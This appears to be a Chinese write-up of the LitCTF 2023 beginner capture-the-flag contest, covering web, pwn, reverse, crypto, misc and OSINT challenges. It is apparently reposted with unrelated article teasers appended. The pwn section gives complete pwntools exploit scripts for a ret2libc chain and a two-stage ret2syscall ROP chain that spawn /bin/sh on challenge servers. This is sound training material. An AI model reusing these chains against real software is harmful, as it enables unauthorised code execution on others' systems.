LitCTF 2023 WriteUp(部分)

Index

  • 前言
  • 题目
  • Web
    • 我Flag呢?
  • Pwn
    • 只需要nc一下~
    • 口算题卡
      • 题目分析
      • EXP:
    • 狠狠的溢出涅~
      • 题目分析
      • EXP:
    • ezlogin
      • 题目分析
      • EXP:
    • Reverse
      • 世界上最棒的程序员
    • ez_XOR
      • EXP:
  • Crypto
    • Hex?Hex!(初级)
    • 梦想是红色的
    • 原来你也玩原神
  • Misc
    • 签到!(初级)
    • What_1s_BASE (初级)
    • Take me hand (初级)
    • 404notfound (初级)
    • 喜欢我的压缩包么 (初级)
    • 这羽毛球怎么只有一半啊(恼 (初级)
    • 破损的图片(初级)
    • Osint小麦果汁
    • OSINT 探姬去哪了?_1
    • OSINT 探姬去哪了?_2
    • OSINT 探姬去哪了?_0

前言

迄今为止做出来题目最多的比赛,不过嘛新生赛,加油。
在这里插入图片描述

题目

Web

Web不是我擅长的分区,我就做出来了签到题,其他是我队友做的。

我Flag呢?

在这里插入图片描述

Pwn

刚开始只有3题Pwn,后来加了一题压轴题,当时没做出来,赛后研究了几天整出来了。

只需要nc一下~

在这里插入图片描述
并非直接cat flag那种难度,需要稍微看一看。
在这里插入图片描述
发现把Flag写入了环境变量中,使用env或者echo $FLAG都可以查看。
在这里插入图片描述

口算题卡

在这里插入图片描述

题目分析

按照描述,就是做完100道加减法题目后就可以得到Flag,实际上确实如此,这里没有耍任何把戏。
可以硬着头皮算,也可以用Pwntools等。
我选择Pwntools:

EXP:

from PwnModules import *io = remote('node4.anna.nssctf.cn',28265)
context(arch='amd64', os='linux', log_level='debug')while 1:try:io.recvuntil(b'What is ')line = io.recvline().strip(b'\n').strip(b'?').decode()expression = lineresult = eval(expression)io.sendline(str(result))except:io.close()continue
io.interactive()

在这里插入图片描述
exp的原理其实很简单,使用recv函数接收算式,使用strip函数去除接收到的信息中的换行符以及问号,然后丢入eval函数就会得出结果。发送回去即可。

狠狠的溢出涅~

基础的ret2libc题目。
题目提供了libc,甚至用不到LibcSearcher。
在这里插入图片描述

题目分析

main函数存在栈溢出漏洞,但是程序使用了strlen防止用户进行栈溢出。
我们只需要使用\x00绕过strlen函数即可。

EXP:

from PwnModules import *#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()

ezlogin

压轴来喽~
很抽象的一道题,静态链接并且去除了符号表。

题目分析

首先我们进行符号恢复。
从start函数着手:
在这里插入图片描述
先不管其他杂七杂八的函数,一个个点进去,可以发现sub_4005C0应该是main函数。在这里插入图片描述
这里我已经修改了函数名字,原先的vul并不是vul。而sub_411ED0猜测就是setbuf了。
进入vul函数中,还原后的函数如下:
在这里插入图片描述
strcpy函数是通过动态调试调试出来的。
参考:M1sery师傅的WP
关于如何绕过read的限制图中已经写了,重点是如何绕过strcpy的遇到\x00截断。
这里需要写一个特殊的函数:

def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)

简要分析的话作用是替换Payload中的\x00为A,复杂点实际上就是遇到\x00就反转Payload,替换\x00为A,然后配合固定的Padding:0x108(main函数中的a1大小)+处理后的Payload。
解决了strcpy的问题,接下来是构建ret2syscall的ROP链。
由于是静态链接,因此gadget量大管饱。

EXP:

from PwnModules import *io = process('./pwn4')
# io = remote('node5.anna.nssctf.cn',28672)
elf = ELF('./pwn4')
libc = ELF('/home/kaguya/PwnTool/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0# Create func use to replace '\x00'
def gadget(content):content = content + b'\x00'content = content[-1::-1]for i in range(0, len(content)):if content[i] == 0:payload = content[i+1:][-1::-1].replace(b'\x00', b'A')padding = b'A' * 0x108log.success('Payload: ' + (str(payload)))io.sendafter(b'password:', padding + payload)# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()

在这里插入图片描述

Reverse

世界上最棒的程序员

在这里插入图片描述
start函数中直接写了

ez_XOR

ChatGPT yyds!
输入函数和工作逻辑让ChatGPT写的

EXP:

def XOR(Str, a2):result = len(Str)for i in range(result):Str[i] = chr(ord(Str[i]) ^ (3 * a2))return StrStr1 = "E`}J]OrQF[V8zV:hzpV}fVF[t"  # 请根据实际情况修改Str1的内容Str1 = list(Str1)  # 将Str1转换为列表,以便进行原位修改
XOR(Str1, 3)Decrypted_Str1 = ''.join(Str1)
print("Decrypted Str1:", Decrypted_Str1)

输入str2,也就是E`}J]OrQF[V8zV:hzpV}fVF[t即可得到flag。

Crypto

Hex?Hex!(初级)

在这里插入图片描述
一眼hex转ascii
cyberchef直接出Flag
在这里插入图片描述

梦想是红色的

在这里插入图片描述
一眼社会主义核心价值观加密
在这里插入图片描述

原来你也玩原神

在这里插入图片描述
在这里插入图片描述
一个一个对照,就有Flag了。

Misc

签到!(初级)

关注长亭珂兰寺公众号,发送签到即可获取flag。

What_1s_BASE (初级)

在这里插入图片描述
base64,cyberchef。
在这里插入图片描述

Take me hand (初级)

流量分析,找到这两个包即可。
在这里插入图片描述
在这里插入图片描述

404notfound (初级)

在这里插入图片描述
一眼图片隐写
直接打开010在这里插入图片描述

喜欢我的压缩包么 (初级)

压缩包加密了,先猜一手123456。错误的
盲猜一手114514,对了。在这里插入图片描述
其实可以使用工具Passware Kit梭哈。

这羽毛球怎么只有一半啊(恼 (初级)

是misc中常见的修改图片长宽高
在这里插入图片描述
修改05 DC为DC DC即可。
在这里插入图片描述
说实话这题我是乱蒙的长宽高,乐。

破损的图片(初级)

在这里插入图片描述
在这里插入图片描述
对比发现缺少文件头,复制粘贴即可解决。
再随便改个后缀,就能打开了。
在这里插入图片描述

Osint小麦果汁

在这里插入图片描述
根据图中的Wifi查找即可查找到Flag。在这里插入图片描述
搜索到相关的,然后确定就是这个。
NSSCTF{黑客与精酿}

OSINT 探姬去哪了?_1

根据图中关键信息百度查找。
在这里插入图片描述
在这里插入图片描述
关键信息:SANGEL 酒店 xx路店
最终发现结果是:松果酒店(郑州农业路店)

OSINT 探姬去哪了?_2

在这里插入图片描述
根据图内关键信息:Hackingclub查询。
在这里插入图片描述
在这里插入图片描述
查找地图发现是:漫香音乐酒吧(农科路店)

OSINT 探姬去哪了?_0

使用exiftool查看本图片:
在这里插入图片描述

在这里插入图片描述
根据经纬度查找。结果是
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/13320.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

云计算、大数据、人工智能、物联网、虚拟现实技术、区块链技术(新一代信息技术)学习这一篇够了!

目录 云计算 一、云计算的基本概念 二、云计算的分类 (一) IaaS (二) SaaS (三) PaaS 三、云环境的分类、云计算的四种部署模式 (一)公有云 (二)私有云 (三)社区云 (四)混合云 四、云计算的特点 (一)虚拟化技术 (二)动态可扩展 (三)按需部署 (四)灵活性高 (五…

ChatGPT3.5使用体验

MySQL 中的索引 前言 上篇文章聊完了 MySQL 中的锁,这里接着来看下 MySQL 中的索引。 一般当我们数据库中的某些查询比较慢的时候,正常情况下,一顿分析下来,大多数我们会考虑对这个查询加个索引,那么索引是如何工作…

使用腾讯云直播开发直播功能

前言: 最近公司开发app直播功能,我是后端,使用java开发,经过考虑选择使用腾讯的云直播功能,主要是考虑到腾讯在这方面可以说是很有实力的了。然后就是选择产品的问题,腾讯提供了几种直播的解决方案&#x…

破案了,c知道就是套壳chatgpt

不过也是好事儿,国内不用魔法也可以用gpt了,比一些公司硬要自己开发二流产品强多了

【报告】Chatgpt合集报告(8篇):引领AI新浪潮,开启AI新纪元(24H限时下载)

ChatGPT 注册用户突破1亿,成为史上成长最快的消费者应用。2022年11月底,由OpenAI 开发的人工智能对话聊天机器人ChatGPT推出,并迅速在社交媒体上走红,5 天注册用户数就超过100万,两个月后,注册用户突破1亿。…

卧槽,ChatGPT 太强了吧!

机器之心报道 机器之心编辑部 关于 AI 的问题,可以直接问 AI。 OpenAI 新上线的 ChatGPT 可谓是火爆出圈,这个对话模型可以回答后续问题,承认错误,挑战不正确的前提,还能帮你修改代码中的 bug…… 只要和它聊上几句&am…

visual chatgpt:talking,drawing and editing with visual foundation models

微软-多模态ChatGPT来了:Visual ChatGPT: Talking, Drawing and Editing with Visual Foundation Models - 知乎摘要ChatGPT吸引了各个领域的兴趣,因其提供了一个跨领域的具有卓越会话能力和推理能力的语言界面。然而,由于ChatGPT是一个语言模…

美的智家、海尔智家,吹响新一轮AI竞赛号角

ChatGPT大行其道,各行各业迫不及待披上了AI大模型的“盔甲”,有的企业自研AI大模型,有的企业牵手头部科技企业,寻求智能产品价值的最大化,智能家电行业也不例外。 在国内,百度AI大模型文心一言一经推出就吸…

京东“百亿补贴”提前20小时上线,电商价格战开打; iPhone 15 Pro玻璃面板泄露;凹语言 0.5.0发布|极客头条

「极客头条」—— 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧。 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews) 一分钟速览新闻点&#…

【GPT-4】立即停止训练比 GPT-4 更强的模型,至少六个月!马斯克、图灵奖得主等数千 AI 专家紧急呼吁

毋庸置疑,ChatGPT、GPT-4 引领了 AI 新时代的到来,但这种让很多环节都可以实现自动化流程的工具也让人颇为恐慌。 据路透社报道,包括图灵奖得主 Yoshua Bengio、伯克利计算机科学教授 Stuart Russell、特斯拉 CEO 埃隆马斯克、苹果联合创始人 Steve Wozniak 等在内的数千名…

Firefox 强制弹出全屏广告惹众怒

出品 | OSC开源社区(ID:oschina2013) 近几日,有用户发现 Firefox 浏览器出现了弹出式的全屏 VPN 广告,弹出的广告会禁用浏览器的功能、拒绝用户访问界面并使后台的所有内容变灰,直到被关闭。 一些用户在 Reddit 上吐槽…

马斯克让位特斯拉中国一把手朱晓彤?内部回应:您觉得是真的吗?

整理 | 何苗 出品 | CSDN(ID:CSDNnews) 12月7日,据品玩报道称马斯克决定任命朱晓彤为特斯拉全球 CEO,消息一出,迅速引发热议。 其实马斯克要任命特斯拉新 CEO 的消息早已放出,外界也一直…

百度云首次实现季度盈利;OpenAI 或将发布新的开源语言模型;苹果已注册 xrOS 系统商标|极客头条...

「极客头条」—— 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧。 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews) 一分钟速览新闻点&#…

世界上最早的表情符号 | 历史上的今天

整理 | 王启隆 透过「历史上的今天」,从过去看未来,从现在亦可以改变未来。 今天是 2023 年 3 月 30 日,在 1951 年的今天,UNIVAC 通过验收测试。UNIVAC(UNIVersal Automatic Computer,通用自动计算机&…

已在 40 多个国家和地区上线,OpenAI 将在更多市场推出官方版 ChatGPT(多国详细列表)

OpenAI 宣布已经在 40 多个国家和地区,推出了适用于 iPhone 和 iPad 的官方 ChatGPT 应用程序。官方版 ChatGPT 于上周率先在美国市场推出,OpenAI 承诺未来几周内会继续扩展到更多国家和地区。 根据官方新闻稿,在此附上目前已经上线的国家和地…

chatgpt赋能python:Python分离三位数:一个简单但有用的SEO技巧

Python分离三位数:一个简单但有用的SEO技巧 作为一名有10年Python编程经验的工程师,我可以告诉你,Python在SEO领域有着多种应用。其中之一是分离三位数,这是一种简单但非常有用的技巧,可以帮助你提高网站的排名和流量…

Science:ChatGPT缩小了打工人的差距

克雷西 发自 凹非寺量子位 | 公众号 QbitAI Science正刊发表对ChatGPT的调查报告,《生成式人工智能对生产力影响的实验证据》 对于一些文书任务,ChatGPT不仅能在节省40%时间的同时提高18%的绩效,还降低了不同人之间的绩效差异。 MIT官方也对这…

ChatGPT简要解读(二) - ChatGPT能否产生颠覆性效应?

💂 个人主页: 同学来啦🤟 版权: 本文由【同学来啦】原创、在CSDN首发、需要转载请联系博主 💬 如果文章对你有帮助,欢迎关注、点赞、收藏和订阅专栏哦 文章目录 🐣 一、ChatGPT风险性和局限性🔴 1、风险性…

复旦发布国内首个类ChatGPT模型MOSS,和《流浪地球》有关?

昨晚,复旦大学自然语言处理实验室邱锡鹏教授团队发布国内首个类ChatGPT模型MOSS,现已发布至公开平台https://moss.fastnlp.top/ ,邀公众参与内测。 MOSS和ChatGPT一样,开发的过程也包括自然语言模型的基座训练、理解人类意图的对…

热烈欢迎CSDN副总裁邹欣老师入驻知识星球

重磅消息 CSDN 副总裁 邹欣 老师成功入驻知识星球 —— 英雄算法联盟,成为合伙人之一。 这将是未来几年内,IT界最震撼的一次合作!我相信就算现在不是,将来必定是! 当然,这对我来说也是一种极大的鼓舞&#…